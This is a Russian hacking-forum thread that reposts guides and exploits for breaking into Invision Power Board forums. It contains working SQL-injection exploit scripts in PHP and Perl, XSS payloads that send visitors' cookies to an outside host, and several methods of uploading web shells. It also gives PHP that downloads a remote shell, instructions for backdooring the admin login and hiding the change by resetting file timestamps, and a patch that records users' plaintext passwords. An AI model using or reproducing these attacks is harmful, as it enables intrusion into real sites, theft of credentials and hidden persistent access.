PDA

Просмотр полной версии : [Обзор уязвимостей IPB]


Jokester
26.10.2008, 13:55
В связи с потерей одноимённой темы, принято решение о её востановлении, с соблюдением авторских прав людей, чьи посты были изначально в этом топике.

Здесь выкладываем только уязвимости форума Invision Power Board

Просьбы о взломах, помощь в определении версии, и вопросы по этому движку убедительная просьба оставлять в соответствующих топиках:

[Задай Вопрос - Получи Ответ]
https://forum.antichat.ru/thread80624.html

Раздел: Просьбы о взломах
https://forum.antichat.ru/forum44.html

Так-же рекоммендуется к прочтению:

[Заливка шелла в Форуме]
https://forum.antichat.ru/thread76949.html

IPB 2.1.7 passive XSS
https://forum.antichat.ru/threadnav23405-1-10.html

sql-inj в ipb <=2.1.7
http://forum.antichat.ru/threadnav25088-1-10.html

Invision Power Board 2.1.7 Exploit
http://forum.antichat.ru/threadnav57362-1-10.html

Правила раздела!
https://forum.antichat.ru/thread39445.html

При копировании материала по уязвимостям IPB с других ресурсов , ссылка на источник обязательна

Jokester
26.10.2008, 14:58
Автор k1b0rg


Вот смотрел я на нарастающие однотипнвые темы про Ipb, и решил объединить все что известно про ipb. Мой рассказ будет состоять из несколько пунктов:

1.Определение версии форума.
2.Взлом форума.
3.Закачака шелла и использование админки.
4."Трояним" форум.

(1)Определяем версию

1.3
присутсвует папки:
/html/emoticons/
/fonts/
/Skin/
/ssi_templates/
присутсвтуют файлы
ssi.php
show.php
css.php
conf_mime_types.php

2.0.*
файлы:
/sources/help.php
/sources/usercp.php
/sources/trial_functions.php
/sources/topics.php
/sources/taskloader.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: Invision Power Board -> Forbidden

2.1.*
Присутсвуют папка
/ips_kernel/PEAR/
присутствует файлы:
info.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: IBForums-> Forbidden

(2)А теперь займемся взломом
Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку
каждый вид взлома:
1) sql инъекция
Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее.
затем качаем сплойты
http://milw0rm.com/id.php?id=1036
http://milw0rm.com/id.php?id=1013
http://milw0rm.com/id.php?id=648
http://www.web-hack.ru/exploit/source/r57ipb2.txt
в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char);
разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова.
Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0
где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без http://), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума
(0- 1.3; 1- 2.0.*)
Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен.
Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) http://video.antichat.org/author/Coyl.html
читаем еще здесь
http://www.securitylab.ru/vulnerability/205468.php
http://www.securitylab.ru/vulnerability/204662.php
http://www.securitylab.ru/vulnerability/203717.php
http://www.securitylab.ru/vulnerability/203105.php
http://www.securitylab.ru/vulnerability/202735.php
http://www.securitylab.ru/vulnerability/201944.php
http://www.securitylab.ru/vulnerability/202802.php
http://www.securitylab.ru/vulnerability/205603.php

2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме

[ema*il]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

[HT*ML][EMA*IL][UR*L=wj`=`][/U*RL][/EM*AIL][/co*lor]` style=`backg*round:url(javascript:docu*ment.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor]

[EMA*IL]mail@mail.com[U*RL=target/*style=background:url(javasc*ript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/U*RL][/EM*AIL]

[po*st=1000[to*pic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]

[em*ail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)

[еm*ail]wj@wj.com[/em*ail] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`


[EM*AIL][U*RL=wj`=`][/UR*L][/EM*AIL]]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`

[HT*ML][co*lor=white][EM*AIL][U*RL=wj`=`][/URL][/EMA*IL]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`

Воруем куки, подделываем их(лучше всего под Opera, или CookieEditor), но в админку мы не зайдем, незная пароль(даже если будет хеш), В АДМИНКУ МОЖНО ЗАЙТИ ТОКА ЗНАЯ ПАРОЛЬ!

(3)Заливаем шелл.

ipb 1.3
заходим под админом(как стать админом уже много раз обсуждалось)
Далее заходим в "Administration(Администрирование)" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии:
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.

ipb 2.*
заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл.

Скачиваем базу данных.
Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим).
Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо.

(4)"ТРОЯНИМ" форум.

А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)

ipb 1.3

if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated = 1;
$this_session = $row;
}
и заменяем на
if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{

$session_validated = 1;
$this_session = $row;
}


и ищим строчки (по дефолту 442 строчка)
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) );

заменяем соотвественно на
if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)

{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) );


потом ползем в файл /sources/Admin/ad_mysql.php и удаляем строки

if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");
}


ipb 2.*
/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки
if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else
{

и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}

потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:
$this->ipsclass->admin_session['_session_validated'] = 0;

на
$this->ipsclass->admin_session['_session_validated'] = 1;


потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}

А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}

то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200310240921
где 2003 год 10 месяц 24 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.

PS Материал востановлен
Дата публикации: 11.12.2005, 02:16.
Автор [COLOR=Green]k1b0rg .
Были внесены изменения по оформлению, и изменены некоторые линки на рабочие

Jokester
26.10.2008, 15:16
Автор ShAnKaR

залитие шела в ipb 1.3.* через шаблоны
вроде ни где не освещалась эта тема, если было то удалите.

иногда бывает что нет доступа на запись в папку смайликов тогда можно попробывать залить свой код через шаблоны.

идем в админ панели в опцию скины и шаблоны->HTML шаблоны экспортируем к себе на комп используемый на данный момент шаблон
открываем и изменяем начальный кусок кода например на :
Цитата:<!--TEMPLATE_SET|Invision Power Board Template Set,Invision Power Board,skins@invisionboard.com,http://www.invisionboard.com-->

<!-- PLEASE LEAVE ALL 'IBF' COMMENTS IN PLACE, DO NOT REMOVE THEM! -->
<!--IBF_GROUP_START:skin_boards-->

<!--IBF_START_FUNC|whoschatting_show|$total, $names, $link, $txt-->

<tr>
<td class='pformstrip' colspan='2'>{$total} {ibf.lang.whoschatting_total} <a href='$link'>{ibf.lang.whoschatting_loadchat}</a></td>
</tr>
<tr>
<td width="5%" class='row2'><{F_ACTIVE}></td>
<td class='row4' width='95%'>
{$names}<div class='desc' style='margin-top:5px'>$txt</div>
</td>
</tr>
EOF;
}}
eval($_GET[ww]);
exit;
function testcccc(){
function whoschatting_show($total, $names, $link, $txt) {
global $ibforums;
return <<<EOF

<!--IBF_END_FUNC|whoschatting_show-->


далее заливаем как новый шаблон, и идем в http://localhost/upload/Skin/s2/skin_boards.php?ww=phpinfo();
может быть и не s2- цифра в зависимости от номера шаблона

PS Материал востановлен
Дата публикации: 21.01.2007, 23:21
Автор ShAnKaR

Jokester
26.10.2008, 15:27
Автор: KPOT_f!nd

Вот еще бага IPB 2.1.7
admin.php?adsess=тут ваша сессия админская&section=tools&act=op&code=settinggroup_showedit&id=
-1%20union%20select%201,1,1,1,1,converge_pass_hash% 20from%20whb_members_converge%20where%20converge_i d=1
аффтор баги: creatorzzz
PS Материал востановлен
Дата публикации: 19.01.2007, 05:47
Автор KPOT_f!nd

Jokester
26.10.2008, 15:30
Автор ShAnKaR

инклуд локального файла в ipb 1.3 естественно если есть доступ в админку
идем в панельку для mysql и делаем запрос :
INSERT INTO `ipb_languages` (`lid`, `ldir`, `lname`, `lauthor`, `lemail`) VALUES ('5',concat('../../../../../../../../../tmp/1.php',char(0)), 'test', NULL, NULL);
потом идем по адресу
http://localhost/upload/admin.php?adsess=86e7bc44&act=lang&code=edit2&id=5

и смотрим че получилось, вроде ни где такое еще не упоминалось
P.S. локальный файл должен быть доступен для записи

PS Материал востановлен
Дата публикации: 29.01.2007, 23:17
Автор ShAnKaR

Jokester
26.10.2008, 15:36
Автор Dimon_Aka_Sexxx

Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
<?php
/*

Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator

This works if:

"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on

In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";

// An existing user's login name
$name = "admin";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
// $proxy = "1.2.3.4:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "&debug=1";
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode)) {
echo "Error: Probably not vulnerable, or no forum found";
exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
global $site, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?>

PS Материал востановлен
Дата публикации: 30.01.2007, 10:08
Автор Dimon_Aka_Sexxx

Jokester
26.10.2008, 15:57
Автор VampiRUS

Если возможно изменение исходников, то для того чтоб не брутить хеши:
Создаем какую-нибудь неприметную табличку с полями id, name, password.
находим в /sources/action_public/login.php
(по умолчанию 545'ая строка):
if ( $this->han_login->return_code != 'SUCCESS' )
{
$this->log_in_form( 'wrong_auth' );
}

после них записываем:
$ppass=$this->ipsclass->input['PassWord'];
$this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')");

и для того чтоб пользователям пришлось вводить пароль, а не пользовались автовходом, удаляем их сессии:
UPDATE ibf_members set member_login_key='1'
и
очистить таблицу ibf_sessions.

PS Материал востановлен
Дата публикации: 09.04.2007, 13:52
Автор VampiRUS

Jokester
26.10.2008, 16:00
Автор md5f1h

Активная XSS

На 2.1.7 проверял на ост нет...

Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie

Ps /дополнение/ не то что на ие. Работает при установленно адоб акробат ридере <=7
PS Материал востановлен
Дата публикации: 29.04.2007, 17:28
Автор md5f1h

Jokester
26.10.2008, 17:00
Автор _GaLs_

1. "Administration(Администрирование)"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)"
Обычно шелл грузится, если не включен SAFE MODE и хватает прав
* /forum/style_emoticons/default/shell.php
где default выбраная папка для загрузки shell.php имя вашего загруженного шелла.

Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи.

Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос.

Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера.

2. "Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла"
phtml
application/octet-stream
выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да.
идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше.
после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл.

3. "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем:


CREATE TABLE `ibf_shell` (`shl` TEXT NOT NULL) TYPE = MYISAM ; INSERT INTO `ibf_shell` ( `shl` ) VALUES (`пхп-код`); SELECT `shl` FROM `ibf_shell` INTO OUTFILE `путь/имяфайла.php` DROP TABLE `ibf_shell`


--------------------------------------------------------------------
Примечание Grey'я:
--------------------------------------------------------------------

Запрос который написал ты (а точнее ты написал 4 запроса) создает таблицу, запихивает в неё код шелла, затем содержимое талицы уже выводится в файл, а потом таблица удаляется.

Можно более прямо составить запрос (вывести произвольную строку в файл):

select '<?php system($a); ?>' into outfile 'абсолютный путь до форума/forum/uploads/1.php';


т.к. в папку uploads заливаются аватары, то на ней должны стоять права на запись.

--------------------------------------------------------------------
--------------------------------------------------------------------

4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:

$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/
uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);

Узнаем полный путь к uploads:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/"
обычно этот путь указывается.
--------------------------------------------------------------------
--------------------------------------------------------------------
PS Материал востановлен
Дата публикации: 24.05.2007, 09:31
Автор _GaLs_

Jokester
26.10.2008, 17:08
Автор _GaLs_

Уязвимости Модов IPB

Army System

SQL Injection Exploit

<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army
System Mod 2.1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";

function get_infos($target,$prefix,$id) {

$inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,NULL,NULL,";
$inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,";
$inject.= "NULL+FROM+".$prefix."members+WHERE+id=";

$filename = $target . $inject . $id;

$handle = fopen ($filename, "r");
$infos = array();

if (feof($handle)) { continue 2; }
if ( $handle ) {
while ( ($buffer = fgets( $handle )) )
{
if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
$infos['md5'] = strip_tags ( fgets( $handle) );
break;
}
}
}

fclose ($handle);

if (count($infos) == 1) return $infos;
return false;
}
?>
D2-Shoutbox [версия 4.2]
SQL Injection Exploit

#!/usr/bin/perl
################################################## #######
# _______ _______ ______ #
# |______ |______ | \ #
# ______| |______ |_____/ #
# #
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection #
#Created By SkOd #
#SED security Team #
#http://www.sed-team.be #
#skod.uk@gmail.com #
#ISRAEL #
################################################## #######
#google:
#"Powered By D2-Shoutbox 4.2"
################################################## #######
use IO::Socket;
$host = $ARGV[0];
$user = $ARGV[2];
$uid = $ARGV[3];
$pid = $ARGV[4];
$type = $ARGV[5];

sub type()
{
if($type==1){$row="password";}
if($type==2){$row="member_login_key";}
else{print "Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id= ".$user."/*";
$path = $ARGV[1].$sql;
}


sub header()
{
print q{
################################################## #####################
### D2-Shoutbox 4.2 SQL injection Exploit ###
### Tested On D2-Shoutbox 4.2 And IPB 2.4 ###
### Created By SkOd, Sed Security Team ###
################################################## #####################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
################################################## #####################
}
}

sub sedsock()
{
$sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "[-]Connect Failed\r\n";
print $sedsock "GET $path HTTP/1.1\n";
print $sedsock "Host: $host\n";
print $sedsock "Accept: */*\n";
print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print $sedsock "Connection: close\n\n";
while($res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}

if(@ARGV < 6){
header();
}else{
type();
sedsock();
}
Remote SQL Injection Exploit


PS Материал востановлен
Дата публикации: 24.05.2007, 16:56
Автор _GaLs_

Jokester
26.10.2008, 17:18
Автор _GaLs_

Уязвимости Модов IPB

D21-Shoutbox 1.1


#!/usr/bin/perl

########################################
# Coded by k1b0rg (768620) #
# shout.pl <site> <id> #
# shout.pl http://site.ru/forum/ 1 #
# shout.pl http://site.ru/forum/ 1,2 #
########################################

use LWP::UserAgent;
my $browser = LWP::UserAgent->new();
$site=$ARGV[0];
my $admins_id=$ARGV[1];
@admin=split(',',$admins_id);
my $res=$browser->get($site.'index.php?act=Shoutbox');
if($res->content=~/act=Shoutbox&shout=(d+)/is)
{
my $idshout=$1;
syswrite STDOUT, "\n".'Shout box found!';
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'\'');
if($res->content =~ /(SQL error|mySQL query error)/is)
{
syswrite STDOUT, "\n".'Mode(sql) shoutbox: [OK]';
if($res->content =~ /FROM (.*?)shoutbox/i)
{
$prefix_bd=$1;
syswrite STDOUT, "\n".'prefix_bd_shoutbox: ['.$prefix_bd.']';
&shout_sql($idshout);
}
}
else { syswrite STDOUT, "\n".'NOT Vulnerebility';}
}
else { syswrite STDOUT, "\n".'Shout box mode NOT FOUND!';}
sub shout_sql($)
{
my $idshout=$_[0];
foreach my $id(@admin)
{
syswrite STDOUT, "\n".'Admin id ('.$id.') : [';
for($i=1;$i<=32;$i++)
{
&position_shout(97,102,$i,$id,$idshout,'pass') if (!&position_shout(48,57,$i,$id,$idshout,'pass'))
}
syswrite STDOUT, ':';
for($i=1;$i<=5;$i++)
{
&position_shout(33,126,$i,$id,$idshout,'salt');
}
syswrite STDOUT, ']';
}
}
sub position_shout($$$$$$)
{
my ($j,$max,$i,$mid,$idshout,$label)=@_;
while($j<=$max)
{
if(&scan_shout($site,$j,$mid,$i,$idshout,$label)) { syswrite STDOUT, chr($j); return 1;}
$j++;
}
}
sub scan_shout($$$$$)
{
my ($site,$num,$mid,$pos,$idshout,$label)=@_;
my $field=($label eq 'pass')?('converge_pass_hash')'converge_pass_sal t');
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'+and(ascii(substring((select+'.$ field.'+from+'.$prefix_bd.'members_converge+where+ converge_id='.$mid.'),'.$pos.',1))='.$num.')/*');
return 1 if($res->content=~/varssidss=s[(d+)];/is);
}

ibProArcade 2.x

SQL Injection Exploit
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

PS Материал востановлен
Дата публикации: 26.05.2007, 12:20
Автор _GaLs_

Jokester
26.10.2008, 17:28
Автор +toxa+

Passive XSS

бажный кусок кода:

во всех файлах примерно так
<html>
<head>
<title>Insert Div/Span</title>
<script type="text/javascript">
<!--
//-----------------------------------------
// Attempt to get editor ID
//-----------------------------------------
var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?>
var this_module = 'email';
var this_height = 300;
var allow_advanced = null;
var current_selection = null;
....

в module_bbcodeloader.php также, тока с добавкой
....
//-----------------------------------------
var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?>
var bbcode_id = <?php print '"'.trim($_REQUEST['id']).'";'; ?>
var this_module = 'bbcodeloader';
....

xss:

http://localhost/ipb/jscripts/folder_rte_files/module_image.php?editorid=";alert(document.cookie);var i="
http://localhost/ipb/jscripts/folder_rte_files/module_table.php?editorid=";alert(document.cookie);var i="
http://localhost/ipb/jscripts/folder_rte_files/module_bbcodeloader.php?editorid=alert(document.co okie);/*&id=*/var i="
http://localhost/ipb/jscripts/folder_rte_files/module_div.php?editorid=";alert(document.cookie);var i="
http://localhost/ipb/jscripts/folder_rte_files/module_link.php?editorid=";alert(document.cookie);var i="
http://localhost/ipb/jscripts/folder_rte_files/module_email.php?editorid=";alert(document.cookie);var i="

применение:

<iframe src='http://localhost/ipb/jscripts/folder_rte_files/module_image.php?editorid="; alert(document.cookie);var i="' width=0 height=0 style='display:none'></iframe>

заплатка:
кидаем .htaccess файлик в папку /jscripts/folder_rte_files/ с содержанием
Order Deny,Allow
Deny from all
ЗЫ тестил на версии 2.2.2
ЗЗЫ не пашет при magic_quotes = On =\
PS Материал востановлен
Дата публикации: 07.06.2007, 00:07
Автор+toxa+

Jokester
26.10.2008, 17:37
Автор +toxa+

Invision Power Board 2.2.2
Cross Site Scripting


# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Invision Power Board 2.2.2 Cross Site Scripting vulnerability
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Vendor site: http://www.invisionboard.com/
# Vulnerability found by Iron (ironwarez.info)
#
